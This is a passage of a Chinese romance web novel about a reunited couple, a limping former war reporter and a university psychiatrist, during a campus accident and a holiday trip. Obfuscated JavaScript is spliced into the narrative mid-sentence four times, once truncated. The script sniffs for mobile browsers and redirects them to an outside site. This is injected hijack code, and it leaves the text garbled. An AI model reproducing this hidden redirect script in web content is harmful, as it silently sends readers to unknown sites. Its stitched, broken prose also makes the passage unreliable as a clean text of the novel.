“哦~”李和铮笑眯眯地,“那你准备跟我说什么,直接说吧。” 骆弥生也端起酒杯喝了几口。 李和铮发觉自己只是不乐意看那副冷冰冰的无框眼镜,这会儿,骆弥生盘起一条腿穿着睡衣窝在他的沙发里的样子,怎么看都很顺眼。 因为顺眼,暂时可以放下那些积压在身体深处的情绪,释放一些不犯法的顽劣:“还是说……你真带东西了?” 骆弥生像被点名一样坐直身,“嗯。” 李和铮终于大笑出声,很是开怀:“骆老师,我看着就这么像衣冠禽兽吗?” 骆弥生被他笑懵了,几乎升起受宠若惊的感觉,眨巴着眼,没镜片挡着这双杏眼显得很无辜。而后他用目光谴责他。 李和铮笑着摇摇头,拿起酒杯又喝,一杯烈酒下肚,惬意地靠回沙发里,眼神又凉了下来,冲骆弥生抬手,做了个“请”的手势。 骆弥生灭了烟,整个身子转向他,在沙发里盘腿侧坐,上半身笔直,显得像在打坐,马上就能参拜。 李和铮双手交叠在小腹上,看着旧情人称得上肃穆的神情,对于他要出口的话有了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679429|173217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十足的把握。他在心里对自己说,忍住,千万别生气。 但这很难。 就像他挡不住骆弥生郑重其事说出的“对不起”一样,他也根本按不住瞬间窜高的怒意。 “嗯,你继续说。”李和铮面不改色,看着他。 骆弥生舒口气,最想说的那三个字已经传达出,后面再没什么可为难的,“那时我还太年轻,其实……这些年我总是在想,我当时,应该去找你。” 李和铮冷笑:“去找我?你的意思是,你应该去也门找我?” 骆弥生卡住了,他当然看得出眼前的人生气了。 “嗯……是。” 李和铮的眼神结了层冰:“是,然后呢?你准备不远千里冒着枪林弹雨追去也门找我,也对我说对不起?” 骆弥生微微张口,没出来声。 李和铮低下眼,自嘲地笑了笑,有几分萧索。 他端起属于骆弥生的那杯酒,两口闷掉。兴师动众地准备进行一次谈话,这会儿兴致全无,也不愿维持体面——关起门来两个人说话了,体面给谁看? 更不想关照眼前人的情绪。李和铮径直起身,瘸着往卫生间走:“已经晚了,明天还得上班,赶紧睡。” 骆弥生站起身追了两步,快出口的差点又是一句“对不起”,连忙刹车。 他无所适从地站在原地,等了会儿,无声地叹口气,收起杯子洗去了。 做完家政的借宿人关掉客厅的灯,拿着套和油,进入卧室,把它们放进床头柜的抽屉里,拉开被子,躺在李和铮旁边。 李和铮仰躺着,枕着一只手臂,看天花板。 人与人之间的距离真是很奇怪。他们十年没见,远隔万里,却对彼此依然熟悉。可他们此刻同床共枕,呼吸共振,却依然仿佛隔着十年的距离。 其实十年也不足以改变人太多。他们在一起时已经是三观稳定的成年人了,而人就是这样的生物,在储备起足够的独立与自尊后,很难再被外界撼动,彻底改头换面更是不可能的。 他们仍是了解彼此的。今晚谁都不会再开口了。又一次错过了谈话的契机。 骆弥生枕在松软的枕头上,翻身,侧对着他。 李和铮转脸看他,他们在月光下对视。 片刻后,李和铮收回了目光,语气冷淡:“骆大夫,我没有要求你什么。对你也好,对我们的关系也好。你了解我的,我放下的事,是真的放下了。你一直这样为难自己。” 骆弥生垂下眼睛,喉头发苦,说不出话。 再熟悉又怎样。他们分别了太久,三千多个日子,如果每天走一公里,他们之间已经隔了几百万米远,那道鸿沟横亘在此,他迈不过去,他也跨不过来。 李和铮闭上眼。 骆弥生用目光描摹着李和铮的侧脸。从侧面看,他那点异乡人的血统分外鲜明,轮廓如远山,而月光为他镀上一层冷而蓝的光晕,总是遥远的,缥缈的,冰冷的。在这样的夜里,时刻惦念的人就躺在身侧,却无比孤寂。 无风的夜很安静。过了一会儿,李和铮听到衣料摩擦的窸窣响动,身侧因重量塌陷,他睁眼,看到骆弥生放大在他眼前的脸。 ——他支起上半身,一手撑在他荞麦皮的硬枕头上,俯身,朝他吻来。 11. 越野车 这个被发现的偷吻落在了有一层薄茧的掌心。 骆弥生撑着没动,这样近的距离下,不戴眼镜的远视眼只能看到一片模糊。可他能在虚焦的边框里捕捉到那对铁灰色瞳孔中,清明的淡漠。 强吻失败,他没尴尬,准备撤开。 李和铮覆盖在他脸上的大手突然收紧了,指骨分明而有力,捏住了他的脸颊,用力之大,颊侧的肉都凹了下去。 骆弥生疼得抽气,微张着嘴,吐字含混不清:“李老师……” “都在我的床上了还要叫老师?”李和铮笑着,语气闲闲凉凉,神态很放松,手却没松,“你认识我的时候我是老师吗?” 骆弥生脑子转得飞快,说话带上口水音:“阿和。” 李和铮松手顺势一推,骆大夫倒回了他的软枕头上,连忙抬手揉揉脸颊,酸到后脑勺。 “别用这种方式。”李和铮闭上眼睛,把枕着的手臂收回被子里,被子拉上肩头,真要睡了,“你我都不是愣头青了,大夫。” 骆弥生便也躺好,直到身侧的呼吸逐渐变得绵长,才轻声说:“晚安。” 自然没有回应。 —————— 从同一个家里起床又要去同一个单位上班,一夜好眠的旧情人们站起一起刷牙时,感受到相似的微妙。 想想大学同居的时候出来还得一个朝东一个朝西走,现在可好,只需要换好衣服,坐骆弥生的车,一起进同一个校区。 抛去所有有关情感的内部作用,至少从外部条件来说,两个人此刻都感受到几分舒适。却在镜中对视后,各自移开视线。 李和铮多少有些尴尬,想起昨晚自己情绪不稳定得像个精神病患者——虽然他的确是,但幸存者综合征的病程不包括这个吧?嘴上和手上都不干不净的,打哪儿染上的坏毛病,没事干用那么大劲儿捏人家脸干嘛。 再加上骆弥生面嫩,很少风吹日晒的人,白得和他这小半个白种人年轻时不相上下——脸颊两侧留下两块圆圆的、微青的印子。 骆弥生也在镜中看到自己这印记,他倒不介意。反正比这过分的印子也不是没有过。比起这种旁枝末节,他更在意他没有带换的衣服,还得穿昨天的。 “穿我的呗。”李和铮回房,打开衣柜,抛出一件白卫衣,扔他脑袋上。 站房门口的骆大夫把衣服从脸上抓下来,迟疑地:“没有衬衫吗?” “衬衫你肩膀架不起来啊。”李和铮正在解睡衣的扣子,边说边脱掉了,精壮的上半身遍布大小疤痕,有的淡成肉色,有的还是紫红色的增生,像个健美先生那样动了动肩膀,大臂上绷起流畅的肌肉线条,大大方方地冲他抬下巴,“这你怎么穿。” 骆弥生匆匆转身回了卫生间。 李和铮勾了勾嘴角,心里暗骂自己,怎么那么幼稚,可显着你了。 把前男友的卫衣囫囵套上,眼镜重新戴好,平日里都是精英风骆大夫看着镜中的自己,确实不伦不类。尤其他下面还是昨天的西裤,皮鞋。 今天上午有两个心理咨询,他的白大褂里要伸出一个卫衣的帽子。 但他不想脱。 穿戴整齐的李和铮还是那样子,薄卫衣外套着口袋马甲,深色的牛仔裤,大头靴,靠在门口歪着脑袋有点驼背,把“我是记者”写在脸上,很随性,用现在的话说是“松弛感”。 骆弥生站到他边上:“走吧。” “你东西不拿了?”李和铮挑眉。 骆弥生一顿:“忘了。” 李和铮看着他,看穿了他,却无所谓:“拿不拿随你,反正两步地,密码你知道,中午想休息就自己来睡,当宿舍用。” 骆弥生抿唇,点点头。 “人到中年,激情不再啊。”李和铮拎起电脑包,先一步出了家门,坦言,“我看我们现在这样挺好,多了没必要,我自在惯了,怕有的事徒增烦恼。” 骆弥生跟着磕上门,也坦言:“我有我的想法。” “你随意。”李和铮不和他争。 旧情人相见,猜心思没意思,不猜心思也没意思。像这样不上不下地奔着做朋友去,一定是错误选项。他越发觉得,要么重修旧好,要么此生不见,这是一道只有唯一解的固定命题。 迎着晨光,李和铮摇下车窗点了烟,骆弥生开着车,冲他伸手。 路口有探头,懒得给他点,李和铮把手里这支吸了一口的烟递给他,骆弥生接了,他给自己另点一支。 年少时为恋爱的丁点进展都悸动,牵手盼拥抱,拥抱等接吻,接吻后便惦记那点事,交换一根抽过的烟也算间接接吻,要雀跃几下。 可惜他早没有会悸动的心境了。 32岁的李和铮非常肯定,他不再需要追寻某些不切实际的“意义”,不愿再远走万里,他只需要安宁的生活,需要求得内心的平静。而这份平静里,不包括再次和某个人坠入爱河,为他心神不宁,魂牵梦绕,梦里梦外都放不下。 相爱的时候是挺甜的。但是不甜也没什么。 他在停车场和骆弥生笑眯眯地说“再见”,往教学楼去。 骆弥生扶着车门,看了会儿他一瘸一拐的背影,垂下了眼。 他换上白大褂抵达他的诊室时预约的学生已经到了。一个非常消瘦的女生,说成是面黄肌瘦也不为过,脸颊凹陷,目光没半点波澜。扫一眼便知症状严重。 骆弥生眉心微蹙,请她坐下,在校医院的预约系统里看她的信息,很难读的计算机专业,研二,主诉ed。 “只是ed?”骆弥生看她。 “嗯。”叫郑珺雅的女生很平静,“我只需要吃点饭,其他的看不看无所谓了。” “去做过诊断吗?”骆弥生看向她,换来摇头。 骆大夫从兜里掏出手电棒,准备上前:“一直没去做过?去挂个安定科吧,如果不想去,我也可以,我有处方权……” “骆老师,”郑珺雅打断了他,仰头看他,语气也没波澜,“谢谢。我知道您主修的精神病学,我也知道我的问题。书读到今天,什么都知道一点。如果不是一点东西都吃不下,我不会来约您的心理咨询,您懂吗?” 她强调了心理咨询四个字。那么现在白大褂下的便不是准备诊断后下处方的精神科医生,而是倾听并提出建议的心理老师。 穿上白大褂便总是不能坐视不管。就像那一天,他明明已经没办法触及任何与抢救室相关的话题,还是在听到333呼号后下意识地冲了出去。 骆弥生坐了回去,点头:“抱歉。我们开始吧。” —————— 上课,留作业,去食堂,回家,批作业,象征性健身保持肌肉量,睡觉。循环往复几天,李和铮感觉自己的蓝条见底,整个灵魂都枯萎了,迫切需要得到一次释放。 教育这行真是不好干。学生们各个受尽酷刑,老师们跟着一起重走无数遍上学路,哪有写报道来得愉悦,迫击炮在脚边炸了也甘愿。 可真让他再重回本行去当个普通新闻记者,他又过不去那道坎。 李老师正不知道怎么释压,清明节假期和爱热闹的苏启然结伴,如约而至。 十三人的群名改成了欢度清明,群里每天都有各位老师各式各样的吐槽,吐槽完学生吐槽领导,李和铮鲜少搭话,骆弥生更不发言。 给他发小窗来着,说这周特别忙。 他忙不忙对李和铮来说没什么区别,没干系,反正他留下来的睡衣已经给他洗好收在柜子里了,想来就来,不来随意,他们之间不需要任何约定。 群主苏启然艾特了所有人,正在统计清明假期一起去延庆踏青爬山的人头。 李和铮:爬山? 发了个从学生那儿顺来的表情包:我吗? 苏启然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679430|173217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' : —对哦,你那身高,我们也没人能背得动你 —你可以在山脚下等我们,三天三夜,坐船摘草莓放风筝吃烧烤民宿里围炉煮茶这些你总得在吧? 这倒不错。李和铮满意了:成,算我一个 苏启然:骆老师呢? 问他?他怎么知道。 李和铮艾特骆弥生。 骆弥生:哪天出发? 苏启然: —当然是一下班就撤! —刚还在算车,不过你那小车开不了野山吧 骆弥生: —下班我撤不了,有咨询,4号我值班,咨询约满了 —车你们可以开走,我换车了,野山可以开 李和铮挑眉。 老师们七嘴八舌,这个说学生们压力太大了一放假都不出玩儿先看病,那个说还不是你教的课太难了无形中增加骆老师的工作量,下一个说可得了吧教研室天天开大会,教出去的是课吗?全都是主人的任务…… 只有苏启然在刷屏里挣扎着:你换了个啥车啊! 李和铮平白想起那天骆弥生盯秦舟车的眼神,心说怕是小奔换大奔了。 果然,骆弥生扣字:换了辆小G,跑山足够了 苏启然乐了:那可太够了! 李和铮确实有点惊讶。骆弥生家里是学术世家,父母都是正高,姐姐是进过维也纳金色大厅的大提琴家,只有姐夫经商,印象里也是低调派,十年前开朴素的帕萨特。 这完全超出骆弥生一贯的消费风格,他要换大奔,gle顶天儿了,竟然还要换G,虽然g550落地能比g63便宜个一百多万…… 李和铮心说总不能是看了秦舟的车受刺激了,非也要整一个能放下他的瘸腿的车。 这可真是浪费是极大的犯罪。 说是这么说,要跑山,现成的越野王不开白不开。 3号晚,苏启然乐颠颠地汇合李和铮,一起去北门停车场取骆弥生的车。 骆弥生一如往常,穿着白大褂,双手抄兜,在车身比他还高的纯黑的越野车旁站得挺拔。 几天不见,李和铮冲他挥挥手,展颜一笑:“嗨。” 骆弥生的低音炮回他:“嗨。” 他从兜里扔出车钥匙,苏启然接住,啧啧摇头:“要不是提前透题知道你俩有过去,还以为你们不熟。” “以前熟,现在也没你想象中那么熟。”李和铮如是说。 骆弥生移开了视线:“我上去了,你们路上小心。” 苏启然把这辆新提回来的车开出来,李和铮上了副驾驶,福至心灵,拉开手套箱,看见里面放了两盒大彩。 他无所谓地笑了笑,开了一盒,点上。 他们去南门接一位女老师,宋妍,是个辅导员。苏启然提前和他说了,最近正在追求这位,好容易约出来一起郊游,让他当个僚机。 恋爱经历有且仅有1的一个1没有任何当异性恋僚机的经验,但胜在有阅人无数的情商,答应了。 宋妍穿着碎花衬衫和紧身牛仔裤,披肩发,温婉知性,上车后腼腆一笑,完全符合李和铮刻板印象里学生们最爱的辅导员形象。 他们上了G6高速,小长假前的出城方向堵成停车场,行进缓慢,正好给了三个人慢慢聊的时间。 李和铮持续感受着一个年纪相仿的男性求偶时展现出的姿态,一直想笑。这么一比,他确实显得未老先衰。 可就在他们相谈甚欢时,宋妍的手机响了。 “哎呀,工作电话。”她叹口气,去摸包,“像李老师这样的选修课老师最好了,做什么都别做辅导员……喂?赵主任。” 不是学生找,而是主任来电,苏启然和李和铮都从后视镜里朝后看。 几秒后,挂了电话的宋妍哭出了声,拍着驾驶座的椅背:“苏老师,快回去,快回去!” 12. 回马枪 这样的路况想要折回去也不容易,苏启然连声安抚:“别急别急,我看看,四公里外有个口能下,咱们从五环回……走咯!” 苏启然打了双闪,一脚油给下去,这辆第一次上高速的越野车发出兴奋的咆哮,冲上应急车道。 李和铮给哭得崩溃的宋妍递了纸,另一手从手套箱里找到骆弥生的行车本,拨通了110,报备了这辆车现在的情况。这才转身问宋妍,发生了什么? 能让一个辅导员瞬间崩溃的情况猜也能猜到,学生出事了。 “我班上有学生从校医院的楼上摔下去了,”宋妍努力镇定情绪,纸巾按在脸上,“应该不是跳楼,就在三层……但是楼后的树坑挖开了,准备趁着放假换两颗新树,树枝插到身上……” 这可真是天大的事。李和铮难得皱起眉,心头一沉。各大高校对于学生自杀事件总是能以各式各样的方式妥善处理,但假如涉及到意外事故,或者——不是意外,波及面广,那是要上新闻的。 他点开了骆弥生的对话框: —怎么样 —我们在回去的路上 没回复。那便是他也置身在事故处理中。 现在说再多的安慰都没用,宋妍哭得停不下来,从应急车道下来后的苏启然一直开着双闪,一路鸣笛,半小时后,横冲直撞地从北门回了学校。 下车后他们两个人朝那边狂奔,李和铮跑不起来,一瘸一拐地快步走,远远看到校医院楼后拉起了长长的警戒线,很多老师在维持秩序,疏散学生。 可实际上,李和铮冷眼感受着,并没有太多恐慌散播在空气里。许多学生行色匆匆,看一眼便走,各自小声讨论,仅此而已。 警车、消防车、救护车都在,闪着灯,没声音。李和铮走近了,看到有许多闪动的白大褂,校医院值班的校医们和坐救护车来的医护们混在一起,而他快速搜索过去,没找到骆弥生的身影。 不知怎的,一个很少信直觉的人,凭空升起一种不祥的预感。这是根据现有的状况进行的快速分析,得出的不太好的结论。 而这种感觉在看到从校医院正门走出来的林阳后,得到了释放。 作为急诊医生跟车来的林阳也一眼看见了他,眉头紧锁,紧走几步过来把他拉开了,踮起脚凑近他耳边,压低声音,快速说明:“跳楼的学生今天预约了老梅的咨询,他们本来是在楼道里碰上了,那学生非说不想等电梯,要和他一起上楼。三楼的窗户开着,他突然给老梅来了一句,‘你以后会不会来看我’,转身跳了。本来三楼应该问题不大,谁知道正好怼树上了……” 李和铮一颗心跌了下去。 “他呢?” “现在警察在问话。楼道里有监控,能听到声音,两个人的对话都能听到,他没事,没他的责任。”林阳恨恨地咬牙,“可是他现在真的很不好了……” 李和铮看向林阳的眼睛:“他什么不好?” 林阳被他看得一怔,有些无奈,这个人一旦正色,压迫感总是会冲人。 羚羊大夫叹了口气,用上了旧时的称呼:“我不是道德绑架你,和哥,我知道你们当年分手是因为什么,但他这么些年来心里一直都只有你,一点都放不下,一天都没放下。你就当是看在老同学的份上,去和他……” “你不说我也会的,”李和铮打断了他,“我是问你,他什么很不好?” “他……”林阳卡壳,转开了视线,“你自己问他吧,不能是我说。” “好。”李和铮干脆地点头,“那我去问他。” “警察还没走。” “我等他出来。”李和铮站到了一旁的树下。 林阳犹豫后还是追到他面前:“之前我俩约饭来着,老梅说你现在完全没想法。恕我多嘴,你真的对他没想法了?” 李和铮面不改色地看着他,语气平静地反问:“你说他一天都没放下我,那这十年,我为什么一次都没见过他。” 林阳再次被他问住了。也对,李和铮只是在战区,还在地球上,不是在地府。 言尽于此。李和铮冲他点头,礼貌地结束了对话。 既然不全是意外,突发事件处理流程很快,人救走送去三院,消防帮着把危险的树修整好,警察也带走了监控,结束了问话,穿着白大褂的骆弥生送警察们下楼,站在校医院门口,致意,道别。 而后他转头,看到了站在树下的李和铮。 枝桠在摇晃,他在晚风中岿然不动,看起来像另一棵树。 可惜现在并不准许他停落在上了。 周围人都散开,苏启然也跟着宋妍一起坐救护车去医院了,李和铮走向骆弥生,与他对视后,非常慷慨,也非常不挂怀地,坦然冲他张开双臂:“喘口气儿?” 骆弥生站在台阶上,比他高一点——诚然这个怀抱是很想投入其中,此刻的他也正需要,还是摇了摇头,走下台阶。 李和铮打量打量他,用调侃的语气:“幸好现在有监控,不然岂不是跳进黄河都洗不清了?” “以黄河的泥沙量,本来也洗不清。”骆弥生冲他笑了笑,主动说,“我明天的咨询都先取消了,我可以和你们一起走了。” “是你想取消,还是被取消了。” “我想取消,被科室取消了。” “那还真是不幸中的万幸。”李和铮煞有介事地点点头,看着他,单刀直入,“羚羊说你现在很不好,是指什么?” 四月的晚风还能有关上他们身后大门的力气,一声巨响,华灯初上,骆弥生注视着李和铮倒映着异彩的眼睛,看不出刚直面一起意外,反问:“你现在好吗?” 这问句仿佛他们许久没见,这才是他们的第一次寒暄。 “好。”李和铮非常笃定。 “那我也没什么不好的。”骆弥生脱下了白大褂,对折,在手里拎着,“你们吃饭了吗,我现在饿了。” 李和铮从裤兜里掏出手机,看苏启然的消息,而后先一步往停车场走:“苏老师说让咱们去三院接上他。那怎么,先买麦当劳垫垫。” “都行。”骆弥生跟上他的脚步,“阿和。” “怎么了,骆大夫。”李和铮回头看他。 “谢谢你。”骆弥生说得颇为真诚,一脸认真,“出来以后能看见你,我感觉很好。” “嗐,想看见我还不容易。我人在,肯定得来。”李和铮轻描淡写地化解掉了这句话里的重量,避开了他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679431|173217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话中直抒而来的情意,哥儿俩好地拍了拍他的肩膀,“你那大车,闯了两个红灯,我给你报过警了,之后记得去核。” “好。”骆弥生垂下了眼睛。 —————— 杀了个回马枪重新出发的大奔里还是三个人,苏启然把汉堡狼吞虎咽,说自己开不动车了,驾驶权便回到了车主手里。 李和铮从手套箱里拿出烟,扔给他们俩,把车窗摇到底:“群里他们刚还问呢咱们咋还没到。” “你直接甩个论坛里的链接给他们。” “论坛能发这个?”李和铮有点意外,“管理员不毙?” “你们干新闻的捂嘴捂惯了?”苏启然大笑,“咱学校论坛还是净土,什么都能发,那个学生的前世今生都能扒出来,可看吧,绝对一水儿心疼骆老师。” “我不用心疼。”骆弥生无奈,“而且学生们会更共情那个孩子,并不会在意我,你想错了。” 李和铮挑眉,回身看苏启然:“你前半句说什么?” 第一次被他用这种眼神看的苏老师一愣,反应过来,连忙道歉:“对不起啊兄弟,我这嘴欠儿。你绝对不是捂嘴的人,全是拿命换回来的真实。” 李和铮转了回去。 了解他的脾气,骆弥生想打个圆场,被他打断:“你们状态都不好,车我开吧。” “你行吗?” “驾校检本没说我不行。”李和铮直接开了车门,下去了。 骆弥生也只好赶紧解安全带,回身和苏启然交换一个歉意的眼神,苏启然连忙摆手,给自己嘴上比了个拉链。 坐上驾驶座的李和铮单手开大G,胳膊肘搭在车窗上,夜风倒灌,方才的不快已烟消云散,懒洋洋地:“我原来开过防地雷反伏击车,比这个还要重得多,车底全是防弹层。” “帅啊!”苏启然连忙下台阶,“开过装甲车吗?” “艹,那也不能给我开啊!”李和铮笑骂,“你丫想什么呢。” “你没随过那啥?” “没随过,爱自由,跟不上他们的日程,喜欢自己干。” “佩服。”苏启然颓然地靠回椅背上,叹口气,“你说这事儿整的,本来以为能跟宋老师漫步青山外,没准儿还能有点进展,结果她去不成了。” “但你今天已经很帅了,”李和铮中肯地,“很果断,显得脑子很好。吊桥效应会起效果,等她回过神来,你们应该有进展。” “你说?”苏启然乐了,“那敢情好。还是你有经验。” “我有个屁经验,”李和铮又笑,“我年纪大,封心锁爱了。” “你年纪大个der!你还没我大呢!” “你不懂,”李和铮冲他摇摇手,“人这一辈子哪有那么多激情能燃烧。” 骆弥生回了回手机上的消息,点进论坛,一眼看见浮在最上面的帖子标题有骆老师三个字,正要点进去,听着话题拐到了他不愿任其发展的方向,便插话:“他们在民宿办入住了,说剩的不多了,问要给我们留几间房。” “那当然是……”苏启然停住了,“你们说?” 骆弥生看李和铮。 李和铮转向他,一挑眉:“你说呢?” 13. 露营椅 骆弥生看着李和铮,没说话。而被看的人要开车,视线转回去直视前方。 在后排的苏启然憋了会儿,还是开口打破他两人间瞬间凝固的气氛:“不是,我有一个问题。” “问。”李和铮搭在车窗上的手摸了摸自己的唇角。一旁注意力全在他身上的心理老师捕捉到了这个动作——他不想说,也不耐烦。 但显然他还是会回答。骆弥生又偏头看看他,想他现在的“随和”当真不是一张面具,而是某种全新的自洽。 “你俩现在是什么关系?”苏启然凑近了。 “旧情人,新同事。”李和铮笑了笑。 “哎哟——那你们为什么要住一间?”苏启然笑嘻嘻地双手拍了拍他们的肩膀,刚让别人给他当僚机,这会儿想投桃报李,不管有的没的先撮合撮合,“人生苦短,大家都老大不小的,哏着干嘛?” “没哏。”李和铮不紧不慢地给油,连超两辆车,“十年不见,我们现在顶多比萍水相逢多点。人都不一样了,没那么多干柴烈火可以烧。” “啧啧啧,”苏启然起了一脖子鸡皮疙瘩,指出,“有点虐。” “虐什么。”李和铮失笑,“这不大家还能一起出门玩,不比反目成仇了好多了?” “你看起来真是翻篇儿了,”苏启然靠了回去,撮合不成,还有点莫名其妙的失落,“哥们儿也爱过,一想起来白月光都痛彻心扉啊!” “说得是。” 有苏启然不会冷场,李和铮在非人的地界儿待久了,也很想多过一过正常人的社交生活,多在人群中说说话,乐意陪聊。两个人根据这个旧情人的话题,听苏启然讲起“痛彻心扉的故事”,时间过得很快。 骆弥生一直没再插话,低头看手机,点进了那个刚才没来得及看的帖子。 灌水区《骆老师今天真是遭老罪了》 楼主:如题,我说你们金属板有病就去治,要治好好治,补药谋害医生!这跟医闹有什么区别?! 整个帖子里如他所料,一派攻击跳楼的学生太激进害得骆老师白白被盘查预约都取消了不会要被停职吧,一派站学生说学术压力大活不下去谁管他是哪个老师不要站在高位歧视精神病,有人id是精神病招谁惹谁了一直在刷屏,还有一派…… 骆弥生推了推眼镜。 有一派在——嗑cp。 骆弥生快速往下划,看到了他站在台阶上而李和铮对他张开双臂的照片。 校医院白色的楼和穿着白大褂的他,李和铮的背影一如他身后的树冠遮天蔽日的柏树,任凭风雨摧折依然宽和而包容……停,有点肉麻。 本来大家还在争论,其中夹着一两个嗑cp的,从这张照片开始,吵架的人消失了,一大片人都在“啊啊啊啊”。 —立刻来接人woc什么情况 —抱了没?抱了没?抱了没? —受委屈了抱抱!好苏好苏好苏 —我早就说了这俩包有问题的 —上次我说看到他们大早上一起来上班,总不能是顺路去接的吧?去接也很恐怖了!好多人还说我造谣 —除了他现在谁会叫骆老师“骆大夫”,你们听过吗,你们没听过的别吵吵 —有没有懂的给我扒一下他俩什么情况,,,都是老学长,应该是以前就认识吧?反正老李刚来学校就跟骆老师走得很近了…… …… “哎,嘿!”苏启然喝他,“看什么那么着迷?” 骆弥生回神,面不改色,关上手机屏,转向李和铮:“我们住一间吧。” 苏启然:“哦吼。” 李和铮无奈,扫他一眼:“啧,怎么了,省房费?” “我说了,我有我的想法。”骆弥生专注地看着他,“你可以拒绝,但如果你不拒绝,我会继续按我的想法来。” 苏启然:“哦吼!” 李和铮:…… 其实他是想拒绝的。可他当下没找到必须拒绝的理由。加之身后苏启然还在发出一些看热闹不嫌事儿大的幼稚怪叫,直接说拒绝有点太驳人面子。 “行呗,”他说,语气闲散,一点不挂心,“我以为你要说刚买了车,该省省,该花花。” “不是。”骆弥生总是这样,做什么都太认真。 李和铮在心里举手投降,叹口气:“我这样像不像个渣男?” “那我可不知道!”又吃着一手瓜的苏启然乐翻天,“谁知道您二位打什么算盘!这下你可瞒不住了。” 嗯。一起出来玩的老师有拖家带口的,和家属才住一间,那他们算什么。 李和铮的手指屈起,抵在鼻子下,无意识地摩擦着。进了郊区,风声渐响,他把车窗抬起,按开了空调。 一旁注意力全在他身上的心理老师再次捕捉到了这个动作——他真的很不耐烦了。 骆弥生收回目光,吞咽多余的情绪,不知自己的专业技能和对他的了解是好是坏。 —————— 被迫杀了个回马枪的三个人姗姗来迟,其他老师都已经打起手鼓唱起歌了,只是骆弥生在群里回复过只留两间房后,这群坐在民宿小院里等着吃烧烤的高知都来劲了,目光在他们三人之间来回搜寻。 李和铮的腿又疼了,瘸得很明显,骆弥生抬手拿下他单肩背着的包,放在自己的小箱子上:“你坐着吧,我去办入住。” 配上身后苏启然嬉皮笑脸的样子,大家还有什么不懂的,都开始起哄。 李和铮一屁股坐在露营椅里,落下来像是一座轰然倒塌的小山,伸长了瘸腿。本就累得要命的人,又这么折腾了一通,整个人精力值耗尽,靠在椅背上,长长舒口气。 “你们什么情况啊李老师?”叫赵晋的老师第一个开口,“我们之前也觉得你和骆老师很亲近,但是都没往那边想。” “有情况也是十年前的事了,”李和铮累得懒得做表情,语气平淡,也不让他们猜,直接讲出来,“我俩我大二的时候谈的,我毕业后出国前分的,其实没什么大不了的,谁年轻时候没谈过几个对象?只是现在刚好成同事了。” “不是吧!”唯二的女老师霍琪先反驳他,“你们两个看起来不是什么普通的老相好。” “这话说的,你早看出来了?”另一个女老师刘潇潇怼她的腰。 “是呀,第一次见李老师一起吃饭就看出来了,”霍琪直言不讳,“他们的肢体语言不一样,一看就是上过床的,那才不是老朋友。” “辣辣辣辣辣,”钢铁直男章明晰本能地掏耳朵,故作夸张地抖鸡皮疙瘩,“讲点能播的,走走心,别上来就走肾。” 办完入住的骆弥生和苏启然出来听见的是这句,苏启然大惊失色:“你们这就开始了,才几点啊?” 大家都笑,人终于齐了,心照不宣地姑且聊聊学校里见怪不怪的意外事件,同情一下骆弥生,招呼老板上烧烤吧,目光都汇集到了李和铮和骆弥生身上。 李和铮懒洋洋地从裤兜里摸烟,没摸到火:“一个两个的,都是猹。” 骆弥生看他一眼,掏自己兜,抬手给他点上,探身拿来烟灰缸放他面前,又倒热水烫了烫他的酒杯。 “好多人都把骆老师当高岭之花看,”刘潇潇连连摇头,“真应该看看这个。” “还真是。”李和铮叼着烟,又往露营椅里坐了坐,调整了更舒服的姿势,“我俩辩论赛上认识的。当初想追他的时候,就是看不惯他明明长了条好舌头,还装高冷,话不多,弄得人贼想看看,到底是不是不会说话。” “你咋听着这么欠揍呢。” “你这中二病吧!” “你追的?”赵晋在他俩之间来回看看。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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春天未名湖畔莺飞草长,夏天北海公园与野鸭游船,秋天香山漫山遍野的红叶,冬天什刹海上冰车连成串。 骆弥生牵过来的手。与他牵着手的骆弥生。 春天刚果盆地里寸草不生的焦土,夏天马六甲海峡被炮火轰倒的红树林,秋天马达加斯加饿死的猴子和干瘪的鳄鱼,冬天幼发拉底河上飘满了浮尸。 没有骆弥生。 陪伴他的只有相机和钢笔,不断变成文字去往世界各地的愤怒,一颗永不服输的心。 可现在连那也没有了。 进了房间的李和铮推开了骆弥生,不管这位大夫警告他刚喝完酒不要洗澡,衣服随便扔在脚下,把自己投入了民宿老板刚刚给放好热水的浴缸中。 他拍了拍水面,波澜起,又消失。 他的心慢慢安静下来。 